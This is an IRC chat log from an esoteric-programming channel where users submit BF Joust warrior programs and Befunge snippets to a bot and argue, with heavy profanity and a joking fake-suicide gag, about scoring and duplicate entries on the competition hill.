(>(-)*10)*4(>(+)*10)*4>>+([[-]>]+)*40 22:53:22 just fuck off 22:53:24 Score for Deewiant_maglev: 16.6 22:53:30 AnMaster: BECAUSE YOU KEEP BUGGING ME ABOUT IT EVERY HOUR 22:53:39 ehird, I'm not bugging you about doing it 22:53:40 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->+([[-]>]+)*40 22:53:43 Score for Deewiant_maglev: 27.4 22:53:49 but I'm irritated at you talking a lot about it and doing nothing 22:53:52 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->+([[-][+]>])*30 22:53:55 Score for Deewiant_maglev: 19.4 22:53:57 which is to me just spam 22:53:58 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>])*30 22:54:01 Score for Deewiant_maglev: 35.6 22:54:07 AnMaster: maybe ehird is doing something, just there's no visible proof 22:54:11 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->+([[-][+]>+])*30 22:54:11 like the NetHack devteam 22:54:13 !bfjoust maglev_deewiant (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>])*30 22:54:13 Score for Deewiant_maglev: 26.9 22:54:16 Score for AnMaster_maglev_deewiant: 34.5 22:54:20 what 22:54:21 ais523: He goddamn knows I'm developing it 22:54:23 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>+])*30 22:54:25 Score for Deewiant_maglev: 42.5 22:54:29 He just keeps saying "HEY EHIRD ARE YOU DONE YEEEEEET????????????????????????????" 22:54:31 Shoo :-P 22:54:35 Deewiant, try submitting the same twice? 22:54:47 22:53 AnMaster: but I'm irritated at you talking a lot about it and doing nothing 22:54:47 AnMaster: It's because you were against my maglev 22:54:49 "a lot"? 22:54:50 ais523: Just ignore them. 22:54:55 Deewiant, ah 22:54:59 Whereas when I do it myself, it obviously isn't there 22:55:01 No. Not a lot. I'm just joking every now and then when people talk about the randomosity etc. 22:55:05 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->+([[-][+]>+])*30 22:55:08 Score for Deewiant_maglev: 29.5 22:55:10 ais523, hah 22:55:13 God damn, I can't joke without being hounded for hours by AnMaster now. Lovely. 22:55:14 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>([[-][+]>+])*30 22:55:15 Why do I bother. 22:55:17 Score for Deewiant_maglev: 30.6 22:55:22 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>([[-][+]>]+)*30 22:55:24 Score for Deewiant_maglev: 33.5 22:55:29 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>+([[-][+]>]+)*30 22:55:32 Score for Deewiant_maglev: 27.6 22:55:32 -!- pikhq has changed nick to p. 22:55:36 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>->([[-][+]>]+)*30 22:55:39 nice nick 22:55:39 Score for Deewiant_maglev: 44.5 22:55:41 -!- p has changed nick to pikhq. 22:55:48 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->([[-][+]>]+)*30 22:55:51 Score for Deewiant_maglev: 36.6 22:55:54 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>->>([[-][+]>]+)*30 22:55:56 Score for Deewiant_maglev: 37.3 22:56:05 Aaaw. I was trying to make pıkhq an alias. 22:56:07 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>->([[-][+]>]+)*30 22:56:09 Score for Deewiant_maglev: 44.5 22:56:11 Oh well 22:56:15 Freenode hates Unicode nicks. 22:56:19 GregorR, it would be interesting to run the program against itself and show if it won or it was a draw 22:56:41 AnMaster: A program always draws against itself. 22:56:42 Think about it. 22:56:50 GregorR-L: does your interpreter handle nested ({})? 22:56:50 ehird, sure? 22:56:51 like 22:56:53 AnMaster: Yes. 22:57:01 nescience: Yes. 22:57:04 ehird, I'm pretty sure you could make one that didn't 22:57:09 no 22:57:10 you can't 22:57:16 ehird: What about < 22:57:18 * pikhq bets you couldn't even register ørjan 22:57:21 Deewiant: That draws on everything 22:57:23 Doesn't the first program lose before the other gets a turn 22:57:36 hm yes that is what I'm thinking too 22:57:44 also not that I know of 22:57:45 Turns are simultaneous. 22:57:48 yeah 22:57:50 ah 22:58:08 Evidently 22:59:08 !bfjoust Göta_kanal >+<(-)*10000000000000 22:59:11 Score for AnMaster_G__ta_kanal: 44.0 22:59:19 nice 22:59:22 Waa 22:59:38 Deewiant, randomness? 22:59:49 Try dropping off the 8 extra zeroes 23:00:02 Deewiant, would change randomness. 23:00:12 Yes, I know 23:00:21 !bfjoust Göta_älv >+<(-)*100000 23:00:24 Score for AnMaster_G__ta___lv: 40.0 23:00:33 see 23:00:45 and that is a silly filename 23:00:55 GregorR, Linux handles unicode filanames just fine 23:00:55 hm 23:00:56 Non-ascii -> _ 23:01:03 Deewiant: non-alphanumeric -> _ 23:01:13 here goes nothing 23:01:14 !bfjoust is-that-so < 23:01:17 Score for Deewiant_is-that-so: 0.2 23:01:17 i'm pretty sure i can't even read this 23:01:24 also 23:01:26 !bfjoust is/that+so < 23:01:26 the _ are wrong 23:01:28 Score for Deewiant_is_that_so: 0.2 23:01:34 Yes. That is so. 23:01:35 it uses two _ for one letter 23:01:37 I guess you can count - as numeric 23:01:37 heh yeah 23:01:38 encoding fail 23:01:39 Although I wouldn't 23:01:45 AnMaster: Not giving a shit about non-ASCII inputs win. 23:01:46 maybe manual expansion for part of that 23:01:46 !befunge98 "ö"....@ 23:01:47 182 195 0 0 23:01:51 !befunge98 "ö",,@ 23:01:52 23:01:55 fail? 23:01:55 AnMaster: it probably depends on the filesystem 23:01:57 !befunge98 "ö"\,,@ 23:01:58 ö 23:01:58 AnMaster: Not giving a shit about non-ASCII inputs win. // yes 23:01:59 ah 23:02:18 AnMaster: it probably depends on the filesystem <-- I assume he isn't using FAT... 23:02:29 I whitelist rather than blacklist. 23:02:34 GregorR, US centric bastard! :P 23:02:39 ;P 23:02:41 or rather i overflowed your buffer 23:02:42 :P 23:02:53 Hail Brittania. 23:03:07 ok. UK centric bastard then 23:03:11 sorry for the mistake 23:03:27 GregorR-L is a USian. 23:03:33 ok 23:03:36 US centric it is 23:03:39 I was just being an idiot :P 23:03:44 But anyone who says that English is only in England and the USA is an idiot. 23:03:52 Or lives in a country with a terrible curriculum. 23:03:55 !bfjoust The Colour of Mälaren >+>+<<(-)*10000000000000 23:03:58 Score for AnMaster_The: 36.5 23:04:01 !bfjoust The_Colour_of_Mälaren >+>+<<(-)*10000000000000 23:04:04 Score for AnMaster_The_Colour_of_M__laren: 38.9 23:04:09 !bfjoust The_Colour_of_Mälaren >+>+<(-)*10000000000000 23:04:12 AnMaster: Also: café is an english word. 23:04:13 Score for AnMaster_The_Colour_of_M__laren: 44.9 23:04:15 You can't represent it in ASCII. 23:04:15 wow 23:04:17 that is nice 23:04:20 So not exactly English-centric. 23:04:35 I think that makes some of them not reach the flag cell 23:04:50 oh right 23:04:53 what i had in mind won't work anyway 23:05:00 nescience, for what? 23:05:14 for fixing up slowrush 23:05:20 nescience, oh? 23:05:24 to take care of both polarities of the waiting scripts 23:05:39 i'll have to do it a different way after all 23:06:06 !bfjoust Östersjöns_vågor >+>+<(-++-)*10000000000000 23:06:09 Score for AnMaster___stersj__ns_v__gor: 39.4 23:06:18 !bfjoust Östersjöns_vågor >+>+<(-+-++)*10000000000000 23:06:19 also, is that more tying bullshit at the top there? 23:06:22 Score for AnMaster___stersj__ns_v__gor: 49.1 23:06:46 nescience, ? 23:06:56 I don't aim for anything more than draw 23:07:05 I'm using confusers 23:07:11 a passive technice 23:07:18 spelling 23:07:20 "confusers"? 23:07:27 sigh 23:07:32 They're not called confusers. 23:07:34 ehird, yes. They trap the opposite program and aim for a draw 23:07:36 They're not called confusers. 23:07:38 more like submitting the same thing under 5 names 23:07:52 nescience, there are important differences 23:07:54 read them 23:07:55 ... 23:07:57 one is - 23:07:59 and one is + 23:08:00 neither matters 23:08:05 one is +--+ or whatever 23:08:07 a couple have decoys 23:08:09 still doesn't matter 23:08:12 it does the same thing 23:08:19 and ties need to be nuked out of this scoring system 23:08:24 nescience, ... so why do they manage differently bad 23:08:39 Randomosity. 23:08:48 ehird, not only 23:08:53 or rather, put it back to wins ties losses for score 23:09:01 none of this getting points for tying things that get points 23:09:20 nescience: my NEW CONTEST INFRASTRUCTURE WILL HANDLE THAT! Also before AnMaster lynches me I'm fucking kidding, okay? 23:09:27 lol 23:09:30 nescience: if you want a PONY that can be ARRANGED also 23:09:32 nescience, you just hate them because that sucky program of yours got kicked out 23:09:39 AnMaster: stop being a retard. 23:09:43 kthx 23:09:49 i look forward to it 23:09:51 EHIRD: PROBLEM SOLVER 23:09:53 AnMaster: huh? 23:09:58 SINCE 2009 23:10:03 both of my programs are near the top 23:10:03 nescience, ah I mixed you up with someone else 23:10:06 i don't care what you write 23:10:10 the shade one is still there 23:10:19 just don't submit it under 10 forms so that they only stay on the hill because of the scoring exploit 23:10:37 it's more of a courtesy thing 23:10:38 the bloody hill is alight with draws of all of AnMaster's 57 programs 23:10:41 nescience, you can see that some of the mad changers work on the flag cell, while some doesn't 23:10:48 AnMaster: Argh! 23:10:52 There's a reason you can resubmit under the same name. 23:11:09 ehird, I want to keep the best one. 23:11:17 ................................. 23:11:22 anyway. Just fucking beat them and the issue is solved 23:11:25 So... resubmit... the best one... at the end. 23:11:42 ehird, as if I would remember it by then 23:11:48 well i guess by that logic, i should just submit 10 variants of slowrush and knock everything off the hill 23:11:52 | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | score | pts | program 23:11:52 0 | 0 0 0 0 - 0 0 0 0 0 0 0 0 0 - 0 0 0 0 - | 44.6 | -3 | AnMaster_The_Colour_of_M__laren.bfjoust 23:11:58 clearly the tactics work 23:11:58 the thing is your programs ARE getting "just fucking beaten" 23:12:03 AnMaster: Oh, I forgot, YOU ONLY HAVE 3 FUCKING LINES OF BACKLOG? 23:12:03 except that ties are overscored 23:12:11 So you can't just go into the previous lines and pick out the best one? 23:12:16 Might be time to get a better IRC client. 23:12:18 raaaaaaaaawr 23:12:19 nescience, ties being +/- 0 seems sane 23:12:23 * ehird bites something 23:12:24 !befunge98 "abcdefghijklmnopqrstuvwxyzåäö">:#;288**1-`9\0\#x_$$#;,_@>\,3k09a+-0x 23:12:25 öåyxvusrpomljigfdca 23:12:26 nescience, which one would win from it 23:12:27 Darn 23:12:33 Oh well 23:12:36 nescience, in your suggestion 23:12:52 my suggestion is simply to keep a small number of entries per idea 23:12:58 Deewiant, what were you trying to do... 23:13:29 nescience, About the ties I mean 23:13:31 .... 23:13:41 !befunge98 "abcdefghijklmnopqrstuvwxyzåäö">:#;288**1-`a\0\#x_$$:#;,_@>\,3k0aa+-0x 23:13:42 özyxwvutsrqponmlkjihgfedcba 23:13:43 15 | + + + + - - - - + + - + + - + 0 - + - - | 51.5 | 1 | impomatic_mirage.bfjoust 23:13:45 20 | + + - - - + + - + - + - + + + + - + + - | 61.5 | 4 | nescience_shade.bfjoust 23:13:50 since those do win over it... 23:13:58 why not write more like that! 23:14:22 nescience, anyway go complain about ehird's polarity ones instead 23:14:28 it seems more fruitful 23:14:33 Wow, AnMaster is really easy to wind up for hours 23:14:37 that is where I got the idea in the first place 23:14:38 cya 23:14:39 I may start a hill. 23:14:44 !befunge98 "öäåzyxwvutsrqponmlkjihgfedcba">:#;288**1-`a\0\#x_$$:#;,_@>\,3k0aa+-0x 23:14:44 abcdefghijklmnopqrstuvwxyzå 23:14:53 The "wind up AnMaster a lot" hill. 23:14:59 !befunge98 "åzyxwvutsrqponmlkjihgfedcba">:#;288**1-`a\0\#x_$$:#;,_@>\,3k0aa+-0x 23:14:59 abcdefghijklmnopqrstuvwxyzå 23:15:02 Hmmh 23:15:07 haha 23:15:15 15 | + + + + - - - - + + - + + - + 0 - + - - | 51.5 | 1 | impomatic_mirage.bfjoust 23:15:19 that one seems good 23:15:24 it has no issues with either of mine 23:15:31 AnMaster: because it's more interesting to learn than it is to spam the hill 23:16:04 nescience, as I said. I once ehird stops with those polarity ones I may consider continuing this discussion 23:16:18 * nescience sighs 23:16:22 You're batshit insane. I haven't done a polarity one for ages, and also my polarity switchers tend to do badly. 23:16:23 his shit is annoying too, and i called him on it 23:16:28 but at least it's only 2 entries, not 5 23:16:28 Also, I've stopped now. 23:16:40 And mine don't just draw with each other to stay on the hill 4eva and eva. 23:16:44 !befunge98 "åzyxwvutsrqponmlkjihgfedcba">:#;288**1-`b\0\#x_$$:2j;,_@>\,3k0ab+-0x 23:16:44 abcdefghijklmnopqrstuvwxyzå 23:16:47 !befunge98 "öååzyxwvutsrqponmlkjihgfedcba">:#;288**1-`b\0\#x_$$:2j;,_@>\,3k0ab+-0x 23:16:48 abcdefghijklmnopqrstuvwxyzååö 23:16:51 Yay 23:16:55 Deewiant, how comes your maglev wins against my confusers? 23:17:01 AnMaster: also, didn't anyone ever tell you in school "two wrongs don't make a right"? 23:17:01 !befunge98 "öååzyxwvutsrqponmlkjihgfedcbaabcdefghijklmnopqrstuvwxyzåäö">:#;288**1-`b\0\#x_$$:2j;,_@>\,3k0ab+-0x 23:17:01 öäåzyxwvutsrqponmlkjihgfedcbaabcdefghijklmnopqrstuvwxyzååö 23:17:04 (or whatever ehird wants to call them) 23:17:06 or does that not apply to swedish people or sth 23:17:17 Whee, UTF-8 string output in Befunge-98, only works for the BMP 23:17:18 also AnMaster i thought you didn't like warring program games. 23:17:23 latest update on zzo38's version of BF Joust: apparently he's trying to mix it with poker 23:17:35 lol yeah 23:17:40 has he come up with a card that's worthwhile yet? 23:17:47 AnMaster: [-][+] 23:17:48 ais523: exciting 23:17:48 ehird, I'm interested however in seeing "how can you break the systeme" 23:17:51 always been 23:18:06 system* 23:18:10 AnMaster: Go try and break Freenode then. That way, we don't have to deal with you being a dick and breaking shit for the rest of us, because we won't be able to hear you. 23:18:12 AnMaster: that seems to be a general pastime of this entire channel 23:18:22 ais523: generally we put things back afterwards. 23:18:24 ais523, indeed. Why do you think I'm here 23:18:25 which is why bringing bots here tends to be at the peril of the bot concerned 23:18:26 ehird: agreed 23:18:31 ehird, agreed 23:18:39 AnMaster: Which you have not don. 23:18:39 e 23:18:43 Intend to do it? 23:18:48 ehird, I don't see what there is to put back 23:19:02 Getting rid of your 57 minor variations on the same bloody program that are clogging the hill? 23:19:10 ehird, there are no 57 ones 23:19:15 .......... 23:19:23 Do you do this on purpose? 23:19:26 and why not make programs that beat it 23:19:39 Because they are getting beaten. 23:19:45 it seems that ties are indeed overrated 23:19:57 Or losses 23:20:14 So you just want to leave us wading in a shit hill that we can't play on properly because you don't want to get rid of your exploitation of the bug. 23:20:18 Okie-dokie, dick. 23:20:25 ooh, Microsoft has renamed its search engine 23:20:27 it's now called Bing 23:20:31 ais523: ... 23:20:33 ais523: lol wat 23:20:35 hi ais 23:20:39 hi leonid_ 23:20:45 !bfjoust AnMaster_The_Colour_of_Mälaren (+-)*10000000 23:20:46 http://www.google.com/hostednews/afp/article/ALeqM5hRIu8-oMq5U5Kl6RtgGZAtmoNyfw 23:20:47 Score for AnMaster_AnMaster_The_Colour_of_M__laren: 36.9 23:20:54 although apparently not yet 23:20:58 still at search.live.com 23:21:02 damn 23:21:06 !bfjoust AnMaster_The_Colour_of_Mälaren < 23:21:07 why does that work ?_? 23:21:08 ais523: that's a different thing 23:21:09 I'm sure 23:21:09 Score for AnMaster_AnMaster_The_Colour_of_M__laren: 0.0 23:21:12 !bfjoust The_Colour_of_Mälaren (+-)*10000000 23:21:12 looks like Powerset 23:21:14 ehird: ah, possibly 23:21:15 Score for AnMaster_The_Colour_of_M__laren: 23.0 23:21:19 and Microsoft bought Powerset 23:21:22 so maybe not surprising 23:21:26 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>->([[-][+]>]+)*30 23:21:28 http://powerset.com/ ← still there 23:21:29 Score for Deewiant_maglev: 40.9 23:21:37 Deewiant, thanks 23:21:43 !bfjoust lols (-)*999999 23:21:44 powerset, btw, is pretty crap 23:21:46 Score for leonid__lols: 24.6 23:21:49 leonid_: oh not this again 23:21:52 ah 23:21:56 ehird what was your score? 23:22:00 ? 23:22:04 Deewiant, I'd want to see (+-)*10000000 vs. your maglev 23:22:06 the score for (-)*999999999999999999999999 23:22:10 AnMaster: So add it? :-P 23:22:11 leonid_: 50-something 23:22:14 and 23:22:15 it was 23:22:15 !bfjoust diediedie (-)*128 23:22:15 lol 23:22:17 ()*999999999999999999999999999 23:22:18 Score for Sgeo_diediedie: 4.2 23:22:18 all tied i guess 23:22:18 or w/e 23:22:24 leonid_: I think a load of 9s overflows the sort of ints I'm using 23:22:24 !bfjoust maglev_deewian (>(-)*10)*4(>(+)*10)*4>>->([[-][+]>]+)*30 23:22:27 Score for AnMaster_maglev_deewian: 35.7 23:22:29 AnMaster: Err 23:22:40 AnMaster: I meant add that (+-) thing, maglev is safely on the hill 23:22:46 Deewiant, it isn't 23:22:48 Yes it is 23:22:49 !bfjoust maglev_deewian < 23:22:52 Score for AnMaster_maglev_deewian: 0.0 23:22:56 !bfjoust The_Colour_of_Mälaren (+-)*10000000 23:22:58 lol 23:22:59 Score for AnMaster_The_Colour_of_M__laren: 23.1 23:23:00 because the scoring is whacked 23:23:05 wait what 23:23:12 hum 23:23:17 AnMaster: tie 23:23:20 -!- ehird has changed nick to AnMaster_. 23:23:25 Deewiant, no, loss 23:23:26 !bfjoust blaaaaaaaaaaaaaaaaaaa . 23:23:28 Ah, true 23:23:29 Score for AnMaster__blaaaaaaaaaaaaaaaaaaa: 21.1 23:23:30 -!- AnMaster_ has changed nick to ehird. 23:23:32 Looked at wrong column 23:23:52 ehird, you so fail at life 23:24:03 -!- AnMaster has changed nick to AnMaster_. 23:24:07 What a fresh, interesting insult. 23:24:08 !bfjoust blaaaaaaaaaaaaaaaaaaa < 23:24:11 Score for AnMaster__blaaaaaaaaaaaaaaaaaaa: 0.0 23:24:11 Did the scoring algorithm just change? 23:24:11 You fail at life. 23:24:12 -!- AnMaster_ has changed nick to AnMaster. 23:24:13 Amazing/ 23:24:20 Truly amazing, AnMaster I give you the insult award 2009. 23:24:23 ehird, going to such a low 23:24:24 My ego is deplenished. 23:24:26 as you did 23:24:37 I am going to go shoot myself because of how worthless you have shown my life to be. 23:24:45 !bfjoust lols (>[+])*20 23:24:48 Score for leonid__lols: 32.1 23:24:50 Indeed, I would give my dying words, if I thought that anyone would ever care for me again. 23:24:51 nice 23:24:57 But my name will be lost in the sands of time. Goodbye. 23:24:58 → 23:25:03 !bfjoust lols (>[+])*20 23:25:06 Score for leonid__lols: 32.6 23:25:09 !bfjoust lols (>[+])*25 23:25:12 Score for leonid__lols: 34.4 23:25:13 ehird: is that a genuine →, or are you still here? 23:25:18 !bfjoust lols (>[+])*30 23:25:21 Score for leonid__lols: 32.8 23:25:28 also, I just noticed control-I inserts a literal tab character in this client 23:25:35 This is Elliott's mother, I am sorry to report that he has just shot himself. 23:25:40 Please bear with us in this difficult time. 23:25:43 !bfjoust lols (->[+])*20 23:25:46 Score for leonid__lols: 46.5 23:25:48 whoa 23:25:52 His suicide note tells me to call AnMaster a bedwetter. 23:25:53 ehird: Pics or it didn't happen 23:25:57 AnMaster: you are a bedwetter. 23:26:00 Now I shall go and cry. → 23:26:01 !bfjoust lols_down (->[-])*20 23:26:03 !bfjoust lols (->[+])*15 23:26:03 Score for Sgeo_lols_down: 10.4 23:26:06 Score for leonid__lols: 12.2 23:26:11 ehird: I doubt your mother knows how to type a Unicode arrow 23:26:13 leonid_: Nice luck with the randomizer there :-P 23:26:13 although i might be wrong 23:26:16 yeah 23:26:28 aw, i think i didn't save the code for creep 23:26:28 ais523: It is a Hird skill, passed down generation to generation. 23:26:31 !bfjoust lols (->[+])*20 23:26:33 Score for leonid__lols: 46.5 23:26:39 another luck ?_? 23:26:44 !bfjoust lols (->[+])*20 23:26:47 Score for leonid__lols: 46.5 23:26:54 leonid_: The random only depends on the source codes 23:27:01 !bfjoust lols (+>[+])*20 23:27:03 Score for Sgeo_lols: 22.6 23:27:05 i see 23:27:05 or anything so far really 23:27:22 !bfjoust lols ([-]->[+])*20 23:27:25 Score for leonid__lols: 17.1 23:27:29 !bfjoust lols ([+]->[+])*20 23:27:32 Score for leonid__lols: 10.0 23:27:34 nah 23:27:41 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>->([[-][+]>]+)*30 23:27:44 Score for Deewiant_maglev: 32.4 23:27:50 !bfjoust lols (->[+])*21 23:27:50 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>([[-][+]>]+)*30 23:27:52 Score for leonid__lols: 21.7 23:27:53 Score for Deewiant_maglev: 29.4 23:27:55 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][+]>]+)*30 23:27:56 !bfjoust lols (->[+])*19 23:27:57 Score for Deewiant_maglev: 39.8 23:27:59 Score for leonid__lols: 19.5 23:28:02 !bfjoust lols (->[+])*20 23:28:05 Score for leonid__lols: 46.1 23:28:09 so 20 is the magic number 23:28:14 !bfjoust lols (->[+])*21 23:28:17 Score for Sgeo_lols: 17.9 23:28:42 ehird: i don't suppose you saved any of the code? :P 23:28:49 nescience: for what? 23:28:55 it's scrolled right out of my buffer now 23:29:02 creep, and/or other programs you swapped +- on 23:29:08 oh 23:29:12 nescience: just take the swapped one and swap it again 23:29:17 http://codu.org/eso/bfjoust/in_egobot/ 23:29:50 !bfjoust lols (-->[+])*20 23:29:52 Score for Sgeo_lols: 10.4 23:29:57 !bfjoust lols (--->[+])*20 23:30:00 Score for Sgeo_lols: 10.7 23:30:03 Hah 23:30:04 !bfjoust lols (+>[+])*20 23:30:07 Score for Sgeo_lols: 26.4 23:30:09 !bfjoust lols (++>[+])*20 23:30:12 Score for Sgeo_lols: 23.2 23:30:15 oh, it's still on? 23:30:51 not there anymore, oh well 23:31:10 You can hg clone that directory to get old ones. 23:31:21 !bfjoust lols (-+->[+])*20 23:31:24 Score for leonid__lols: 16.1 23:31:31 lost me there.. what's hg clone? 23:31:40 hg = version control system 23:31:42 at a console: 23:31:45 GregorR-L: Eh, they're all hg'd? 23:31:46 $ hg clone http://codu.org/eso/bfjoust/in_egobot/ 23:31:51 Deewiant: Yeah. 23:31:59 Deewiant: So I can rewind history to piss of AnMaster. 23:32:04 :-) 23:32:13 oh interesting 23:32:18 The piss of AnMaster. 23:32:20 You can verb it. 23:32:39 i think i have a vm somewhere i can do that in 23:33:03 why vm? 23:33:40 vmmm vm 23:33:51 !choo vvvvvvvvm 23:33:52 vvvvvvvvm vvvvvvvm vvvvvvm vvvvvm vvvvm vvvm vvm vm m 23:34:09 !choo vrrrrrrrrrrrrrm 23:34:10 vrrrrrrrrrrrrrm rrrrrrrrrrrrrm rrrrrrrrrrrrm rrrrrrrrrrrm rrrrrrrrrrm rrrrrrrrrm rrrrrrrrm rrrrrrrm rrrrrrm rrrrrm rrrrm rrrm rrm rm m 23:34:12 because i don't run linux :P 23:34:13 You still have to know how to wander about an hg archive to get the old ones though :P 23:34:13 hmm... 23:34:17 you can't reduce the rs 23:34:18 !cho foo 23:34:24 ?choo foo 23:34:30 ^choo foo 23:34:30 foo oo o 23:34:36 i'm smart, i can figure it out 23:34:40 ^help 23:34:40 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 23:34:42 myndzi: you can run hg in windows 23:34:45 *on 23:35:13 GregorR-L: No summaries on those commits, nice :-P 23:35:20 Deewiant: They're all automated. 23:35:29 Yes, you could have an automated message there 23:35:34 I use hg log --removed -p | less to browse. 23:35:35 Something that'd make 'hg log' useful 23:35:52 *eh* 23:36:01 *peh* 23:36:02 apt-get install is simpler in this case though 23:38:03 GregorR, did you keep the best of those? 23:38:04 also 23:38:11 if you hate clogging history so 23:38:14 why all the defenders 23:38:21 ... 23:38:22 what? 23:38:43 defender6, defender7, defender6_parody 23:38:50 just rewrite defender! 23:38:54 ... 23:38:54 (same thing!) 23:38:57 No. 23:39:00 Their code is nothing alike. 23:39:10 Their essential strategy is alike, but yours were almost the same code. 23:39:11 Nice strawman. 23:39:58 ehird: Your polarity-stuff is a bit pointless though. 23:40:09 yeah, that's why i stopped. 23:40:43 I'd kill off the defend6 and slowrush flips 23:41:01 I dunno, some of them do really well occasionally :P 23:41:11 kay, though 23:41:16 Sure, but that's mostly due to the base programs being good :-P 23:41:22 !bfjoust the_unknowable_reversi_of_slowrush < 23:41:25 Score for ehird_the_unknowable_reversi_of_slowrush: 0.0 23:41:31 !bfjoust shade_needs_to_get_laid < 23:41:34 Score for ehird_shade_needs_to_get_laid: 0.1 23:41:40 0.1? 23:41:41 hahaha 23:41:41 !bfjoust defend6_a_parody_or_just_plain_ripoff_question_mark < 23:41:48 Score for ehird_defend6_a_parody_or_just_plain_ripoff_question_mark: 0.4 23:41:51 Why are you killing all your own? 23:41:58 shade_needs_to_get_laid looked like it changed more than just polarity 23:41:58 !bfjoust fucking_termoil_wants_me_to_term_oil < 23:42:01 Score for ehird_fucking_termoil_wants_me_to_term_oil: 0.8 23:42:14 Deewiant: that one was just s/[-]/[(-)*128[-]]/ 23:42:28 GregorR-L: I just killed all my ripoffs + one that is deliberately rubbish 23:42:32 Which is all the ones on the current hill. 23:42:39 GregorR-L: Feel free to rm ehird_* 23:42:50 it'll interestify the hill 23:44:10 !bfjoust pooper_scooper [>([{}-])%5+] 23:44:13 Score for GregorR-L_pooper_scooper: 27.9 23:44:18 GregorR, why didn't you keep my best one 23:44:25 instead of an old mediocre one 23:44:33 now I have to resubmit them 23:44:38 is that really what you wanted 23:44:39 I didn't keep or delete anything, I only removed ehird_* 23:44:39 AnMaster: Oh fuck you 23:44:58 !bfjoust lols (.[+]+)*1000 23:45:01 Score for leonid__lols: 14.4 23:45:13 ehird, no. I would have been happy if he had kept the actual best one 23:45:17 The pinnacle of AnMaster's intelligence: threatening to resubmit a bunch of shitty, almost-the-same challengers because GregorR-L didn't do anything. 23:45:27 ehird, so where did they go? 23:45:29 !bfjoust lols (.[+]+)*10000(>[+])*20 23:45:32 Score for leonid__lols: 10.0 23:45:36 They got bumped off the hill, presumably. 23:45:38 AnMaster: They dropped off the hill because they sucked. 23:45:39 !bfjoust vibration (-)*127(-+)*20000 23:45:39 !bfjoust lols (.[+]+)*10000>(->[+])*20 23:45:42 The truth hurts. 23:45:42 Score for leonid__lols: 11.6 23:45:43 Score for ais523_vibration: 23.4 23:45:45 GregorR-L, they didn't the score is wrong for that 23:45:48 !bfjoust vibration (-)*127(-+)*20000 23:45:50 !bfjoust lols ([+]+)*10000>(->[+])*20 23:45:51 Score for ais523_vibration: 23.4 23:45:51 ... what 23:45:53 Score for leonid__lols: 13.5 23:46:12 ais523: you get killed after the 127 -s, probably 23:46:15 try a smaller number 23:46:16 !bfjoust lols ([+](-)*100)*100>(->[+])*20 23:46:19 Score for leonid__lols: 14.0 23:46:25 leonid_: are you actually putting any logic into those? 23:46:29 ehird: the 127 is deliberate 23:46:30 http://codu.org/eso/bfjoust/in_egobot/ does not appear to be an hg repository 23:46:35 ais523: why? 23:46:38 the problem is, I can't set up fast enough 23:46:39 myndzi: ? it is 23:46:43 defending then attacking maybe ?_? 23:46:45 the idea is to hope that the opponent misses the flag altogether 23:46:45 the error says otherwise 23:46:46 and falls off 23:46:54 unless the syntax quoted earlier is incorrect 23:46:54 because it's 0 every other cycle 23:47:05 but I can't set up in time 23:47:10 myndzi: E_WORKSFORME 23:47:14 ais523: I think I tried something like that, and yeah, it's a bit slow 23:47:15 ooh, idea 23:47:25 !bfjoust vibration >---->++++<<(-)*127(-+)*20000 23:47:28 Score for ais523_vibration: 41.4 23:47:34 Nice. 23:47:40 !bfjoust lols (->[+])*20 23:47:42 Score for leonid__lols: 32.4 23:47:48 it beats slowrush 23:47:56 Hah 23:48:23 !bfjoust antivibration [>[+]-]-- 23:48:25 Score for ehird_antivibration: 13.9 23:48:32 ehird: is that designed to beat vibration? 23:48:40 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][+]>]+)*30 23:48:43 Score for Deewiant_maglev: 32.3 23:48:43 ais523: as a first prototype, yes 23:48:44 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][+][-]>]+)*30 23:48:47 Score for Deewiant_maglev: 39.8 23:48:50 ais523: the idea is to find a zeroed cell and then zero it some more 23:48:56 ^ better antivibration 23:49:04 !bfjoust vibration >>>++++<----<++++<(-)*127(-+)*20000 23:49:05 And better overall, too, which I didn't expect :-P 23:49:07 Score for ais523_vibration: 48.3 23:49:16 Darn 23:49:19 doing it that way round gives me slightly more setup time 23:49:32 !bfjoust antivibration [[>]-[-[-[-]]]+] 23:49:32 !bfjoust vibration >---->++++<<(-)*127(-+)*20000 <-- try higher number. You miscounted 23:49:35 Score for ehird_antivibration: 13.8 23:49:36 Now I lose again, I wonder why 23:49:43 AnMaster: what's the time limit 23:49:46 ais523: 100k 23:49:47 ais523, 100k 23:49:50 !bfjoust vibration >>>++++<----<++++<(-)*127(-+)*50000 23:49:52 snap 23:49:53 Score for ais523_vibration: 38.9 23:49:58 you made it worse! 23:50:06 No, that'd be the random number generator :-P 23:50:07 ais523, just use the old one 23:50:14 or 23:50:16 ooh, better idea 23:50:20 fudge the number 23:50:25 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([([-][+])*2>]+)*30 23:50:27 Score for Deewiant_maglev: 33.3 23:50:29 !bfjoust lols (---+)*10000 23:50:31 Score for leonid__lols: 27.5 23:50:41 !bfjoust maglev (>(-)*10)*4(>(+)*10)*4>>-([[-][+][-][+]>]+)*30 23:50:46 !bfjoust vibration_fool >>>++++<----<++++<(-)*127(-+)*5000[>[-(.)*128]] 23:50:47 Score for Deewiant_maglev: 35.5 